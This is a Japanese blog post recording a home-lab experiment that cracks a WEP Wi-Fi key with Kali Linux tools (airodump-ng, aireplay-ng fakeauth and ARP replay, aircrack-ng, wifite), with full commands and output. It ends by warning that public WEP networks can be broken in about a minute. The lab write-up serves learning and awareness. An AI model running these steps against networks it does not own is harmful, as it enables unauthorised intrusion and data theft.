【Kali Linux】無線LANをハッキングする

無線LANのハッキング実験をしました。

結果、無線LANのパスワードの解析に成功しました。

(もちろん自宅環境です)

結論から言うと、無線LANのハッキングはwifiteというツールを用いると良いかもです。

環境

  • 使用端末:MacBook Pro(intel)
  • 仮想環境:VMware Fusion
  • 仮想OS:Kali Linux
  • ルータ:HUMAX HG100R-02JG
  • Wi-Fiアダプタ:Panda Wireless PAU06 300Mbps N

環境設定

まず、Wi-Fiの暗号方式をWEPに変更します。

以下、HUMAX HG100R-02JGに限った設定方法ですが、参考までに。

  1. ルータの管理画面に入る(http://192.168.0.1とか。不明な場合、「ルータの型番+管理画面」で検索)
  2. ログイン後、「ワイヤレス > プライマリネットワーク」の順に押下
  3. 5GHzか2.4GHz帯を選択後、セキュリティタイプに「WEP/Auto」を選択
  4. 「キー入力方法」を「文字列」にし、「PASS KEY」に任意のアルファベット5文字を入力(ABCDEとか)
  5. 「適用」を押下
  6. 端末から接続できることを確認する(PWは④で入力した値)

※2.4GHzと5GHz両方ともWEPにすると色々と危険です。また、侵入テスト以外の時は無効化しておくのが良いでしょう。

次は、VMware上のKali LinuxにWi-Fiアダプタを適用します。

  1. Kali Linuxを起動
  2. メニューバーから「仮想マシン > USBとBlueTooth > Ralink 802.11n WLANを接続」の順に押下

ハッキング

レッツハッキング。

# 他のプロセスと競合しないように余計なものをKILLする
$ sudo airmon-ng check kill

# アダプタのインターフェース名を確認する(wlan0monとか)
$ sudo iwconfig
wlan0mon  IEEE 802.11  Mode:Managed  Frequency:2.412 GHz  Tx-Power=20 dBm   
          Retry short  long limit:2   RTS thr:off   Fragment thr:off
          Power Management:off

# アダプタをモニターモード(周囲の電波をキャプチャするモード)にする
$ sudo airmon-ng start wlan0mon

# モニターモードになったか確認
$ sudo iwconfig
wlan0mon  IEEE 802.11  Mode:Monitor  Frequency:2.412 GHz  Tx-Power=20 dBm   
          Retry short  long limit:2   RTS thr:off   Fragment thr:off
          Power Management:off

# 攻撃対象のBSSIDとチャンネルを確認
$ sudo airodump-ng wlan0mon
 BSSID              PWR  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID
 38:F8:5E:8A:C7:8D  -31        4        8    0   1   54e  WEP  WEP         HUMAX

# 対象のWi-Fiをキャプチャし、hoge-01.capというファイルにパケットを吐き出す
# #Data列でデータの収集具合を確認できる
$ sudo airodump-ng --bssid 38:F8:5E:8A:C7:8D --channel 1 --write hoge wlan0mon
 CH  1 ][ Elapsed: 1 hour 12 mins ][ 2021-12-18 07:29 ][ fixed channel wlan0mon: 9 

 BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID

 38:F8:5E:8A:C7:8D  -28 100    37840     2237    0   1   54e  WEP  WEP    OPN  HUMAX

 BSSID              STATION            PWR   Rate    Lost    Frames  Notes  Probes

 38:F8:5E:8A:C7:8D  9C:EF:D5:FB:F4:79  -30    1 - 1   49570  2483190

上の画面はそのまま放置し、新しいタブで解析をしていきます。

# パケットが十分に溜まっている場合(5000IVs以上)、解析を開始する
$ sudo aircrack-ng hoge-01.cap wlan0mon
                                           Aircrack-ng 1.6 


                              [00:00:02] Tested 159573 keys (got 2093 IVs)
                                        Got 2382 out of 5000 IVs
   KB    depth   byte(vote)
    0   12/ 18   E0(3584) 11(3328) 20(3328) 42(3328) 71(3328) 88(3328) B8(3328) 
    1    6/  7   6F(3584) 04(3328) 14(3328) 27(3328) 32(3328) 4F(3328) 65(3328) 
    2   27/  2   D9(3072) 00(2816) 04(2816) 05(2816) 1F(2816) 31(2816) 3F(2816) 
    3   20/ 21   7F(3328) 2B(3072) 46(3072) 5B(3072) 65(3072) 95(3072) 9F(3072) 
    4   18/  4   E5(3328) 0B(3072) 1C(3072) 22(3072) 3C(3072) 3E(3072) 4F(3072) 

Failed. Next try with 5000 IVs.

今回は自宅の環境なので、攻撃対象のWi-Fiにはあまりデータが流れておらず、解析に必要なパケットが中々たまってくれません。

そこで、攻撃対象にARPリクエストを投げ込み、その応答をキャプチャすることでデータを収集します。

またまた新規タブを開きます。

# 自身のMACアドレスを確認(unspecの第6オクテットまで)
ifconfig
wlan0mon: flags=867<UP,BROADCAST,NOTRAILERS,RUNNING,PROMISC,ALLMULTI>  mtu 1500
        unspec 9C-EF-D5-FB-F4-79-00-CB-00-00-00-00-00-00-00-00  txqueuelen 1000  (不明なネット)

# 攻撃対象のルータに「お宅のWi-Fiに接続したいんですが〜」と認証前段階に持っていく(FakeAuth)
$ sudo aireplay-ng --fakeauth 0 -a 38:F8:5E:8A:C7:8D -h 9C:EF:D5:FB:F4:79 wlan0mon
02:36:37  Sending Authentication Request (Open System) [ACK]
02:36:37  Authentication successful
02:36:37  Sending Association Request [ACK]
02:36:37  Association successful :-) (AID: 1)

# FakeAuthが成功すると、1個目の画面の「AUTH」の項目がOPNになっている
 CH  6 ][ Elapsed: 10 mins ][ 2021-12-19 02:41 

 BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID

 38:F8:5E:8A:C7:8D  -22 100     5772      252    0   6   54e  WEP  WEP    OPN  HUMAX 

# 最後に、攻撃対象にARPリクエストを投げる(-aに対象のBSSID、-hに自身のMACアドレス)
$ aireplay-ng --arpreplay -b 38:F8:5E:8A:C7:8D -h 9C:EF:D5:FB:F4:79 wlan0mon
02:37:37  Waiting for beacon frame (BSSID: 38:F8:5E:8A:C7:8D) on channel 6
Saving ARP requests in replay_arp-1219-023737.cap
You should also start airodump-ng to capture replies.
Read 6750 packets (got 0 ARP requests and 0 ACKs), sent 0 packets...(0 pps)

あとは、解析が完了するのを待つだけです。

(解析中、Wi-FIアダプタがずっとは触れないほど熱くなっていました)

しかし、、6時間経っても終わらず、、

そこで、辞書攻撃に切り替えることにしました。

# 辞書ファイルを用意
$ cp -pv /usr/share/wordlists/rockyou.txt.gz ./
$ gzip -d rockyou.txt.gz

# 溜めていたパケット(hoge-01.cap)を使用し、辞書で解析する
$ aircrack-ng -w rockyou.txt hoge-01.cap

                                                                          Aircrack-ng 1.6 


                                                            [00:05:13] Tested 14203381 keys (got 5350 IVs)

   KB    depth   byte(vote)
    0    0/  0   00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 
    1    0/  0   00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 
    2    0/  0   00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 
    3    0/  0   00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 
    4    0/  0   00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 
    5    0/  0   00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 
    6    0/  0   00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 
    7    0/  0   00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 
    8    0/  0   00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 
    9    0/  0   00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 
   10    0/  0   00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 
   11    0/  0   00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 
   12    0/  0   00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 

少し待ちます。

5分ほど経過後、、

                                                                          Aircrack-ng 1.6 


                                                                           KEY NOT FOUND

   KB    depth   byte(vote)
    0    0/  0   00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 
    1    0/  0   00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 
    2    0/  0   00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 
    3    0/  0   00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 
    4    0/  0   00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 
    5    0/  0   00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 
    6    0/  0   00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 
    7    0/  0   00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 
    8    0/  0   00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 
    9    0/  0   00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 
   10    0/  0   00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 
   11    0/  0   00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 
   12    0/  0   00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 





Quitting aircrack-ng...

見つからなかったようですねorz

諦めず、、別のツールを使ってみます。

どうやら、wifiteというツールがあるみたいなので、使ってみます。

# ツール起動(Kali Linuxには標準で入っているようです)
$ wifite
   .               .    
 .´  ·  .     .  ·  `.  wifite2 2.5.8
 :  :  :  (¯)  :  :  :  a wireless auditor by derv82
 `.  ·  ` /¯\ ´  ·  .´  maintained by kimocoder
   `     /¯¯¯\     ´    https://github.com/kimocoder/wifite2

 [+] Using wlan0mon already in monitor mode                                                                                                                           

   ---  -------------------------  ---  -----  -----  ----  ------                                                                                                    
   NUM                      ESSID   CH  ENCR   POWER  WPS?  CLIENT                                                                                                    
   ---  -------------------------  ---  -----  -----  ----  ------                                                                                                    
     1                     HUMAX     6    WEP   73db   yes                                                                                                              
     2             XXXXXXXXXXXXX     1  WPA-P   66db   yes                                                                                                            
     3               XXXXXXXXXXX     1  WPA-P   66db    no                                                                                                            
     4               XXXXXXXXXXX     6  WPA-P   52db   yes                                                                                                            
     5            XXXXXXXXXXXXXX     1  WPA-P   40db   yes    1                                                                                                       
     6               XXXXXXXXXXX    11  WPA-P   35db   yes                                                                                                            
     7          XXXXXXXXXXXXXXXX    11  WPA-P   35db   yes                                                                                                            
     8               XXXXXXXXXXX    11  WPA-P   32db   yes                                                                                                            
     9           XXXXXXXXXXXXXXX     1  WPA-P   32db   yes                                                                                                            
    10           XXXXXXXXXXXXXXX     1  WPA-P   30db   yes                                                                                                            
    11           XXXXXXXXXXXXXXX     2  WPA-P   29db   yes                                                                                                            
    12                 XXXXXXXXX    13  WPA-P   26db    no                                                                                                            
    13               XXXXXXXXXXX    11  WPA-P   25db   yes                                                                                                            
    14                 XXXXXXXXX    13  WPA-P   24db   yes                                                                                                            
    15           XXXXXXXXXXXXXXX     1  WPA-P   23db    no        

# Ctrl + Cを入力し(Enterは押さない)、ターゲットのNUMを入力します
 [+] select target(s) (1-15) separated by commas, dashes or all: 1 

# FakeAuthやらなんやらしているみたいです
 [+] (1/1) Starting attacks against 38:F8:5E:8A:C7:8D (HUMAX)
 [+] attempting fake-authentication with 38:F8:5E:8A:C7:8D... success
 [+] HUMAX(75db) WEP replay: 0/10000 IVs, fakeauth, Waiting for packet...                                                                                      
 [!] restarting aireplay after 11 seconds of no new IVs
 [+] HUMAX (75db) WEP replay: 4/10000 IVs, fakeauth, Waiting for packet...                                                                                      
 [!] restarting aireplay after 11 seconds of no new IVs
 [+] HUMAX (75db) WEP replay: 4/10000 IVs, fakeauth, Waiting for packet...                                                                                      
 [!] restarting aireplay after 11 seconds of no new IVs
 [+] HUMAX (76db) WEP replay: 58/10000 IVs, fakeauth, Waiting for packet...                                                                                     
 [!] restarting aireplay after 11 seconds of no new IVs
 [+] HUMAX (77db) WEP replay: 58/10000 IVs, fakeauth, Waiting for packet...                                                                                     
 [!] restarting aireplay after 11 seconds of no new IVs
 [+] HUMAX (76db) WEP replay: 61/10000 IVs, fakeauth, Waiting for packet...                                                                                     
 [!] restarting aireplay after 11 seconds of no new IVs
 [+] HUMAX (75db) WEP replay: 61/10000 IVs, fakeauth, Waiting for packet...                                                                                     
 [!] restarting aireplay after 11 seconds of no new IVs
 [+] HUMAX (74db) WEP replay: 21156/10000 IVs, fakeauth, Replaying @ 599/sec 

# 1分後
 [+] replay WEP attack successful

 [+]      ESSID: HUMAX
 [+]      BSSID: 38:F8:5E:8A:C7:8D
 [+] Encryption: WEP
 [+]    Hex Key: 41:42:43:44:45
 [+]  Ascii Key: ABCDE             #これがWi-Fiのパスワード
 [+] saved crack result to cracked.json (1 total)
 [+] Finished attacking 1 target(s), exiting

たったの1分で解析が完了しちゃいました。。

というわけで、無線LANのハッキングはwifiteを使いましょう。。

最後に

今回は、セキュリティレベルの低いWEP暗号方式を扱いました。

このWEP暗号方式ですが、未だに公共の場で使っているところが結構あったりします。

近所の図書館でもWEPを使っていました。

今回のように、1分もしないうちに解析されちゃいます。

解析されちゃうと、ルータの管理画面に入り、ルーティングの設定を書き換えられ、偽のサイトに誘導され、そこでログイン情報やクレジットカードの情報を盗めたりだとか、色々な手法で情報が漏洩しちゃいます。

公共の電波を使用するときはお気をつけください。。

参考